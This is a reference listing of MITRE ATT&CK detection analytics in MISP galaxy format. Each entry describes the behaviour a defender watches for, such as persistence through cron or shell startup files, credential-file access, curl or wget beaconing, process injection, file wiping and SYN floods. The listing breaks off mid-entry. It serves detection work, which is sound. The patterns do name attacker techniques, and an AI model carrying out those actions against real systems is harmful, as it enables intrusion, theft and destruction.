Inbound binary payloads transferred over HTTP/S with compressed or encoded headers, lacking signature markers or metadata indicative of compiler/toolchain.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0058 - AN0058"*

Table 6107. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0019#AN0058

Analytic 0059 - AN0059

Detects modification of shell startup/logout scripts such as ~/.bashrc, ~/.bash_profile, or /etc/profile, followed by anomalous process execution or network connections upon interactive or remote shell login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0059 - AN0059"*

Table 6108. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0020#AN0059

Analytic 0095 - AN0095

Identifies adversary behavior that launches commands or invokes APIs to enumerate active processes (e.g., tasklist.exe, Get-Process, or CreateToolhelp32Snapshot). Detects execution combined with parent process lineage, network session context, or remote origin.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0095 - AN0095"*

Table 6109. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0034#AN0095

Analytic 0905 - AN0905

Detects shell-based enumeration of active connections using `netstat`, `lsof -i`, or AppleScript-based system discovery.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0905 - AN0905"*

Table 6110. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320#AN0905

Analytic 0950 - AN0950

Detects modification of system or application binaries by monitoring /usr/bin, /bin, and other privileged directories. Correlates file integrity monitoring (FIM) events with unexpected process executions or service restarts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0950 - AN0950"*

Table 6111. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0336#AN0950

Analytic 0590 - AN0590

Detection of suspicious logon behavior using valid domain accounts across multiple hosts, off-hours, or simultaneous sessions from geographically distant locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0590 - AN0590"*

Table 6112. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0210#AN0590

Analytic 0509 - AN0509

Group membership checks via 'dscl', 'dscacheutil', or 'id', typically executed via terminal or automation scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0509 - AN0509"*

Table 6113. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0179#AN0509

Analytic 0606 - AN0606

Encryption of cloud storage objects (e.g., S3 buckets) via Server-Side Encryption (SSE-C) or by replacing objects with encrypted variants. May include API patterns like PutObject with SSE-C headers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0606 - AN0606"*

Table 6114. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0215#AN0606

Analytic 0660 - AN0660

Detection of changes to /etc/rc.local.d/local.sh or rc.local during post-boot script execution with abnormal commands or additions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0660 - AN0660"*

Table 6115. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0237#AN0660

Analytic 0066 - AN0066

Detection of unpacking behavior through abnormal memory allocation, followed by executable code injection and execution from non-image sections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0066 - AN0066"*

Table 6116. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0023#AN0066

Analytic 0067 - AN0067

Correlates ELF file execution with high-entropy writable memory segments and self-modifying code patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0067 - AN0067"*

Table 6117. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0023#AN0067

Analytic 0607 - AN0607

Detection focuses on unauthorized modification of Mach-O binaries to include LC_LOAD_DYLIB headers pointing to malicious dylibs. Behavior is identified via a chain of file metadata changes, removal of code signatures, and subsequent anomalous dylib loads at runtime. Correlation of file changes with lack of authorized updates and process memory mapping of unrecognized or unsigned libraries is crucial.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0607 - AN0607"*

Table 6118. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0216#AN0607

Analytic 0670 - AN0670

Detection of syslog configuration tampering using esxcli system syslog config set or reload. Defender correlates command execution with absence of syslog forwarding activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0670 - AN0670"*

Table 6119. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0239#AN0670

Analytic 0076 - AN0076

Detects curl, wget, Python requests, or custom HTTP clients communicating over non-standard ports, with repetitive or beacon-like patterns or POST-heavy behavior to rare domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0076 - AN0076"*

Table 6120. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0027#AN0076

Analytic 0706 - AN0706

Monitor for suspicious use of commands such as cat, less, grep, or journalctl accessing /var/log/ files. Abnormal enumeration of authentication logs (auth.log, secure) or bulk access to multiple logs in short time windows should be flagged.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0706 - AN0706"*

Table 6121. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0255#AN0706

Analytic 0760 - AN0760

Processes like curl, wget, python, socat, or custom binaries initiating TLS/SSL sessions to non-standard destinations. Defender sees abnormal syscalls for connect(), loading of libssl libraries, and

persistent outbound encrypted traffic from daemons not normally communicating externally.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0760 - AN0760"*

Table 6122. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0273#AN0760

Analytic 0068 - AN0068

Detection of packed Mach-O binaries unpacking into memory and transferring control to dynamically modified code segments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0068 - AN0068"*

Table 6123. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0023#AN0068

Analytic 0860 - AN0860

Access to local credential/config files (e.g., ~/.aws/credentials) followed by metadata API calls or cloud role assumptions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0860 - AN0860"*

Table 6124. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0307#AN0860

Analytic 0680 - AN0680

Unusual or excessive database/table exports from SaaS database platforms (e.g., Snowflake, Firebase, BigQuery, Airtable) by users or apps not in known analytics or dev groups. Defender observes access patterns outside baseline working hours or with new query templates, and correlates those with audit logs or file downloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0680 - AN0680"*

Table 6125. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0242#AN0680

Analytic 0608 - AN0608

Detects adversary manipulation of Extra Window Memory (EWM) in a GUI process, where the attacker uses SetWindowLong or SetClassLong to redirect function pointers to injected shellcode stored in shared memory, then triggers execution via a window message like SendNotifyMessage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0608 - AN0608"*

Table 6126. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0217#AN0608

Analytic 0086 - AN0086

Outlook form execution upon message receipt or client launch results in automated code execution within user session. Form definitions deviate from standard templates and include script logic or COM object calls embedded in form fields.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0086 - AN0086"*

Table 6127. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0029#AN0086

Analytic 0806 - AN0806

Detects crontab job additions or modifications via `crontab` utility or direct edits, especially those created by interactive users executing hidden or renamed scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0806 - AN0806"*

Table 6128. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0290#AN0806

Analytic 0609 - AN0609

Unusual modifications to service binary paths, registry keys, or DLL load paths resulting in alternate execution flow. Defender observes registry key modifications, suspicious file writes into system directories, and processes loading libraries from abnormal paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0609 - AN0609"*

Table 6129. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0218#AN0609

Analytic 0069 - AN0069

Detects unauthorized access, copying, or modification of Kerberos ccache files (krb5cc_%UID% or krb5.ccache) in /tmp or custom paths defined by KRB5CCNAME. Correlates file access with suspicious processes (e.g., credential dumping tools) and subsequent anomalous Kerberos authentication requests from non-standard processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0069 - AN0069"*

Table 6130. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0024#AN0069

Analytic 0096 - AN0096

Detects execution of common process enumeration utilities (e.g., ps, top, htop) or access to /proc with suspicious ancestry. Correlates command usage with interactive shell context and user role.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0096 - AN0096"*

Table 6131. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0034#AN0096

Analytic 0690 - AN0690

Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0690 - AN0690"*

Table 6132. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0247#AN0690

Analytic 0960 - AN0960

Use of instance metadata tokens across instances or misuse of short-lived tokens issued for different roles.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0960 - AN0960"*

Table 6133. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0960

Analytic 0906 - AN0906

Detects shell or API usage of `esxcli network ip connection list` or `netstat` to enumerate ESXi host connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0906 - AN0906"*

Table 6134. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320#AN0906

Analytic 0770 - AN0770

Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (3) replication RPC calls (DrsAddEntry, DrsReplicaAdd, GetNCChanges) originating from non-DC hosts, and (4) Kerberos authentication by non-DC machines using DRS-related SPNs. These events in combination, especially from hosts outside the Domain Controllers OU, may indicate DCShadow or rogue DC activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0770 - AN0770"*

Table 6135. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0276#AN0770

Analytic 0077 - AN0077

Detects applications such as Automator, AppleScript, or LaunchDaemons invoking HTTP/S traffic to non-standard domains or using suspicious headers (e.g., Base64 in URIs or cookie fields).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0077 - AN0077"*

Table 6136. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0027#AN0077

Analytic 0707 - AN0707

Detect abnormal access to unified logs via log show or fs_usage targeting system log files. Monitor for execution of shell utilities (cat, grep) against /var/log/system.log and for plist modifications enabling verbose logging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0707 - AN0707"*

Table 6137. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0255#AN0707

Analytic 0078 - AN0078

Detects HTTP or HTTPS communication initiated by shell-based scripts or management daemons, especially those reaching public IPs over ports 80/443 using embedded curl or wget.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0078 - AN0078"*

Table 6138. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0027#AN0078

Analytic 0807 - AN0807

Detects direct modification of crontab entries in /var/spool/cron/crontabs/root or /etc/rc.local.d/local.sh followed by execution of scripts linked to lateral movement or malware persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0807 - AN0807"*

Table 6139. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0290#AN0807

Analytic 0708 - AN0708

Monitor for cloud API calls that export or collect guest or system logs. Abnormal use of Azure VM Agent's CollectGuestLogs.exe or AWS CloudWatch GetLogEvents across multiple instances should be correlated with lateral movement or data staging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0708 - AN0708"*

Table 6140. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0255#AN0708

Analytic 0780 - AN0780

Monitor launchd service definitions and property list (.plist) modifications for non-standard executables. Detect unauthorized processes registered as launch daemons or agents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0780 - AN0780"*

Table 6141. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0279#AN0780

Analytic 0087 - AN0087

Detects modifications to IAM conditions or policies that alter authentication behavior, such as adding permissive trusted IPs, removing MFA requirements, or changing regional access restrictions. Behavioral detection focuses on anomalous policy updates tied to privileged accounts and subsequent suspicious logon activity from previously blocked regions or devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0087 - AN0087"*

Table 6142. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0030#AN0087

Analytic 0870 - AN0870

Detection of fake or spoofed macOS Security & Privacy GUIs showing healthy status after XProtect, Gatekeeper, or AV processes are disabled. Correlates user-space UI process creation with terminated or missing security daemons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0870 - AN0870"*

Table 6143. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0311#AN0870

Analytic 0079 - AN0079

Detects Web protocol misuse such as encoded HTTP headers, WebSocket upgrade requests with abnormal payloads, or TLS handshake anomalies suggesting embedded C2 channels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0079 - AN0079"*

Table 6144. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0027#AN0079

Analytic 0790 - AN0790

ESXi services (vmx, hostd) generating outbound HTTPS POST requests to text storage sites. Defender perspective: anomalous datastore or log reads chained with traffic to pastebin-like destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0790 - AN0790"*

Table 6145. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0284#AN0790

Analytic 0097 - AN0097

Monitors execution of ps, top, or launchctl with unusual parent processes or from terminal scripts. Also detects AppleScript-based process listing or `system_profiler SPApplicationsDataType` misuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0097 - AN0097"*

Table 6146. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0034#AN0097

Analytic 0970 - AN0970

Kernel or userland processes generating high-rate network traffic (ICMP, UDP, TCP SYN) beyond expected interface throughput or user behavior norms.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0970 - AN0970"*

Table 6147. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0343#AN0970

Analytic 0907 - AN0907

Detects interactive or automated use of CLI commands like `show ip sockets`, `show tcp brief`, or SNMP queries for active sessions on routers/switches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0907 - AN0907"*

Table 6148. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320#AN0907

Analytic 0709 - AN0709

Monitor ESXi shell or API access to host logs under /var/log/. Abnormal enumeration of vmkernel.log, hostd.log, or vpxa.log by unauthorized accounts should be flagged.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0709 - AN0709"*

Table 6149. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0255#AN0709

Analytic 0880 - AN0880

Adversaries create the 'Office Test\Special\Perf' registry key and specify a malicious DLL path that is auto-loaded when an Office application starts. This DLL is injected into the Office process memory space and can provide persistent execution without requiring macro enablement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0880 - AN0880"*

Table 6150. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0315#AN0880

Analytic 0088 - AN0088

Detects suspicious updates to conditional access or MFA enforcement policies in identity providers such as Entra ID, Okta, or JumpCloud. Focus is on removal of policy blocks, addition of broad exclusions, or registration of adversary-controlled MFA methods, followed by anomalous login activity that takes advantage of the modified policies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0088 - AN0088"*

Table 6151. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0030#AN0088

Analytic 0808 - AN0808

Detects web console login events followed by read-only or metadata retrieval activity from GUI sources (e.g., browser session, mobile client) rather than API/CLI sources. Correlates across

CloudTrail, IAM identity logs, and user-agent context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0808 - AN0808"*

Table 6152. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0291#AN0808

Analytic 0809 - AN0809

Detects successful login to cloud identity portals (e.g., Okta, Azure AD, Google Identity) from atypical geolocations, devices, or user agents immediately followed by dashboard/portal navigation to sensitive pages such as user or app configuration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0809 - AN0809"*

Table 6153. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0291#AN0809

Analytic 0980 - AN0980

Unusual use of screen capture APIs (e.g., CopyFromScreen) or command-line tools to write image files to disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0980 - AN0980"*

Table 6154. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0346#AN0980

Analytic 0098 - AN0098

Detects process enumeration using `esxcli system process list` or `ps` on ESXi shell or via unauthorized SSH sessions. Correlates with interactive sessions and abnormal user roles.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0098 - AN0098"*

Table 6155. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0034#AN0098

Analytic 0908 - AN0908

Detects enumeration of cloud network interfaces, VPCs, subnets, or peer connections using CLI or SDKs (e.g., AWS CLI, Azure CLI, GCloud CLI).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0908 - AN0908"*

Table 6156. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320#AN0908

Analytic 0089 - AN0089

Execution of binaries with invalid digital signatures, where metadata claims code is signed but validation fails. Behavior is often correlated with suspicious parent processes or unexpected execution paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0089 - AN0089"*

Table 6157. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0031#AN0089

Analytic 0890 - AN0890

Unusual ESXi shell commands disabling syslog forwarding or stopping hostd/vpxa daemons. Detect modifications to firewall rules on ESXi host or disabling of lockdown mode.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0890 - AN0890"*

Table 6158. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0890

Analytic 0990 - AN0990

Detects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0990 - AN0990"*

Table 6159. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0348#AN0990

Analytic 0099 - AN0099

Monitors CLI-based execution of `show process` or equivalent on routers/switches. Correlates unusual device access, unauthorized roles, or config mode changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0099 - AN0099"*

Table 6160. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0034#AN0099

Analytic 0909 - AN0909

Unusual execution of virtualization binaries (VBoxManage.exe, vmware-vmx.exe, vmwp.exe) with headless or suppressed notification arguments. Registry and service modifications linked to virtualization installs. Defender view: anomalies in process creation, service metadata, and registry writes tied to enabling hidden VMs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0909 - AN0909"*

Table 6161. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0321#AN0909

Analytic 0111 - AN0111

Inspect unified logs for anomalous DNS resolutions triggered by non-network applications. Flag repeated connections to newly registered or algorithmically generated domains. Correlate with endpoint process telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0111 - AN0111"*

Table 6162. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0039#AN0111

Analytic 1101 - AN1101

Adversary invokes 'dpkg -l', 'rpm -qa', or other package managers via shell or script to enumerate installed software.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1101 - AN1101"*

Table 6163. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0392#AN1101

Analytic 1011 - AN1011

Monitor unified logs and Mail.app activity for repetitive incoming messages with attachments. Defenders should look for large volumes of incoming mail stored under ~/Library/Mail with unusual timing or repetitive subjects.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1011 - AN1011"*

Table 6164. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0355#AN1011

Analytic 1110 - AN1110

Web servers (e.g., httpd) spawning abnormal processes post file upload into /Library/WebServer/Documents or /usr/local/var/www

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1110 - AN1110"*

Table 6165. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0394#AN1110

Analytic 0121 - AN0121

Detection of system calls or commands accessing system locale (e.g., 'defaults read -g AppleLocale', 'systemsetup -gettimezone'). Correlate with unusual parent processes or execution contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0121 - AN0121"*

Table 6166. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0043#AN0121

Analytic 0211 - AN0211

Detects abuse of Mono/.NET Core environments to execute VB-like scripts, often in environments with Office emulation or WINE. Focus is on rare invocations of scripting hosts like mono.exe or .NET shells, often seen in spam filtering or forensic labs with Office support.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0211 - AN0211"*

Table 6167. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0076#AN0211

Analytic 1021 - AN1021

Tools such as `tor`, `nglite`, `proxychains`, `chisel`, or custom daemons repeatedly initiate outbound sessions to multiple nodes before final destination. This behavior is abnormal for Linux services outside of VPN, monitoring, or CDN relay contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1021 - AN1021"*

Table 6168. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0359#AN1021

Analytic 1201 - AN1201

Detects attempts to access or enumerate cloud password/secrets storage services such as AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager. Monitors API calls for abnormal enumeration or bulk retrieval of secrets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1201 - AN1201"*

Table 6169. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0430#AN1201

Analytic 0112 - AN0112

Monitor esxcli and syslog records for DNS resolver changes or repeated queries to unusual external domains by management agents. Detect unauthorized changes to VM or host network settings that redirect DNS lookups.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0112 - AN0112"*

Table 6170. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0039#AN0112

Analytic 1210 - AN1210

Detection centers on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH abuse. Defender perspective: monitor for modification of these environment variables in shell or plist files, file creation of dylibs in user-controlled paths, and correlation of environment variable usage with

unexpected module loads by user applications. Suspicious indicators include processes with DYLD_INSERT_LIBRARIES set, execution of applications loading untrusted dylibs, and anomalies in module load history.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1210 - AN1210"*

Table 6171. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0435#AN1210

Analytic 1120 - AN1120

LaunchAgent or launchd recurring jobs initiating data transfer to consistent external IPs or domains with repeat timing signatures.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1120 - AN1120"*

Table 6172. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0399#AN1120

Analytic 1102 - AN1102

Adversary runs 'system_profiler SPApplicationsDataType' or queries plist files to enumerate software via Terminal or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1102 - AN1102"*

Table 6173. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0392#AN1102

Analytic 2011 - AN2011

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2011 - AN2011"*

Table 6174. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0879#AN2011

Analytic 1012 - AN1012

Burst of incomplete TCP handshakes (e.g., SYN floods) or uncorrelated ACK packets targeting the state table resulting in OS resource exhaustion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1012 - AN1012"*

Table 6175. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0356#AN1012

Analytic 1031 - AN1031

Detects adversarial abuse of WMI to execute local or remote commands via WMIC, PowerShell, or COM API through a multi-event chain: process creation, command execution, and corresponding network connection if remote.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1031 - AN1031"*

Table 6176. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0364#AN1031

Analytic 1103 - AN1103

Adversary uses cloud-native APIs or CLI (e.g., AWS Systems Manager, Azure Resource Graph) to list installed software on cloud workloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1103 - AN1103"*

Table 6177. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0392#AN1103

Analytic 1301 - AN1301

Detects upload of malicious or unusual file types into cloud-shared folders, followed by user downloads or interactions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1301 - AN1301"*

Table 6178. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0471#AN1301

Analytic 0113 - AN0113

Detects adversary activity that removes persistence artifacts such as services, registry keys, scheduled tasks, user accounts, and binaries through commands like `sc delete`, `schtasks /delete`, or `reg delete`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0113 - AN0113"*

Table 6179. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0040#AN0113

Analytic 0311 - AN0311

Monitoring modification and execution of user or system logon scripts such as in registry Run keys or startup folders.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0311 - AN0311"*

Table 6180. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0112#AN0311

Analytic 1130 - AN1130

Discovery of connected SaaS applications, APIs, or configurations within platforms like Salesforce, Slack, or Zoom. Defender perspective includes enumeration of available integrations, abnormal querying of service metadata, and follow-on attempts to exploit or persist via discovered services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1130 - AN1130"*

Table 6181. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0402#AN1130

Analytic 1310 - AN1310

Detects file access to mbox/maildir files in conjunction with curl/wget/postfix execution, or anomalous shell scripts harvesting user mail directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1310 - AN1310"*

Table 6182. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0476#AN1310

Analytic 0131 - AN0131

Detects adversaries accessing remote mail systems (e.g., Exchange Online, O365) using stolen credentials or OAuth tokens, followed by scripted access to mailbox contents via PowerShell, AADInternals, or unattended API queries. Detection focuses on abnormal logon sessions, user agents, IP locations, and scripted or tool-based email data access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0131 - AN0131"*

Table 6183. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0048#AN0131

Analytic 1013 - AN1013

Flood of spoofed SYN or ACK packets causing exhaustion of OS TCP state table, potentially via user-space utilities or kernel-level DoS agents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1013 - AN1013"*

Table 6184. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0356#AN1013

Analytic 1104 - AN1104

Adversary uses 'esxcli software vib list' to enumerate installed VIBs, drivers, and modules.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1104 - AN1104"*

Table 6185. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0392#AN1104

Analytic 0141 - AN0141

Suspicious file creation or modification in directories ignored by XProtect or AV exclusions (e.g., ~/Library, temporary cache directories). Defender perspective: monitor file events in ignored paths with correlation to execution or persistence activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0141 - AN0141"*

Table 6186. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0051#AN0141

Analytic 1410 - AN1410

Adversary mounts a USB device and begins enumerating, copying, or compressing files using scripting engines, cmd, or remote access tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1410 - AN1410"*

Table 6187. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0511#AN1410

Analytic 1014 - AN1014

Adversary tool/script issuing mass SYN/ACK floods that degrade OS responsiveness and interrupt service response on macOS endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1014 - AN1014"*

Table 6188. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0356#AN1014

Analytic 1401 - AN1401

Detects memory-based injection by monitoring `task_for_pid`, `mach_vm_write`, and dylib injection patterns through `DYLD_INSERT_LIBRARIES` or manual memory mapping.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1401 - AN1401"*

Table 6189. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0508#AN1401

Analytic 0411 - AN0411

Adversary spawns command-line tools (e.g., del, cipher /w, SDelete) or scripts to recursively delete or overwrite user/system files. This may be correlated with abnormal file IO activity, registry writes, or tampering in critical system directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0411 - AN0411"*

Table 6190. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146#AN0411

Analytic 0114 - AN0114

Detects removal of persistence artifacts such as crontab entries, systemd service units, and malicious user accounts through commands like `crontab -r`, `rm /etc/systemd/system/*.service`, or `userdel`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0114 - AN0114"*

Table 6191. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0040#AN0114

Analytic 1041 - AN1041

Use of file enumeration commands (e.g., 'ls', 'find', 'locate') executed by suspicious users or scripts accessing broad file hierarchies or restricted directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1041 - AN1041"*

Table 6192. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0370#AN1041

Analytic 1140 - AN1140

Outbound spoofed traffic to known amplification protocols (e.g., DNS, NTP, Memcached) combined with abnormal network traffic volume targeting remote reflectors, resulting in disproportionate traffic returned to a victim

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1140 - AN1140"*

Table 6193. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0408#AN1140

Analytic 1051 - AN1051

Detection of anomalous or unauthorized mailbox delegation activity (e.g., Add-MailboxPermission, Default/Anonymous mailbox permissions, Gmail delegation setup).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1051 - AN1051"*

Table 6194. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0373#AN1051

Analytic 1501 - AN1501

Detects adversary abuse of Transactional NTFS (TxF) and undocumented process loading mechanisms (e.g., NtCreateProcessEx) to create a hollowed process from an uncommitted, maliciously tainted file image in memory, later executed via NtCreateThreadEx.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1501 - AN1501"*

Table 6195. Table References

Links
